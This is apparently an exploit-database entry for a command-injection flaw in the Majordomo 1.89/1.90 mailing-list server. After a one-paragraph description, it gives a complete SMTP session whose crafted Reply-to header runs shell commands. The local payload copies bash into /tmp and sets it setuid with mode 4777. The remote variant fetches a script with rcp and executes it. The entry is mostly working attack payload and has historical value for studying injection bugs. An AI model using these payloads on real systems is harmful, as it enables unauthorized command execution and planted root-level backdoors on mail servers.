Majordomo 1.89/1.90 - 'lists' Command Execution

Razvan Dragomirescu 1994-06-06 remote linux

Majordomo is a perl-based Internet e-mail list server. Versions prior to 1.91 are vulnerable to an attack whereby specially crafted e-mail headers are incorrectly processed, yielding the ability to execute arbitrary commands with the privileges of Majordomo. This is possible only when "advertise" or "noadvertise" directives are specified in the configuration files. 

Local exploit:
telnet localhost 25

helo localhost
mail from: user
rcpt to: majordomo (or whatever the name of the majordomo user is)
From: user
To: majordomo
Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\

--end of exploit --

For the remote users, change the Reply-to field to something like:

Reply-to: a~.`/usr/bin/rcp\${IFS}\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\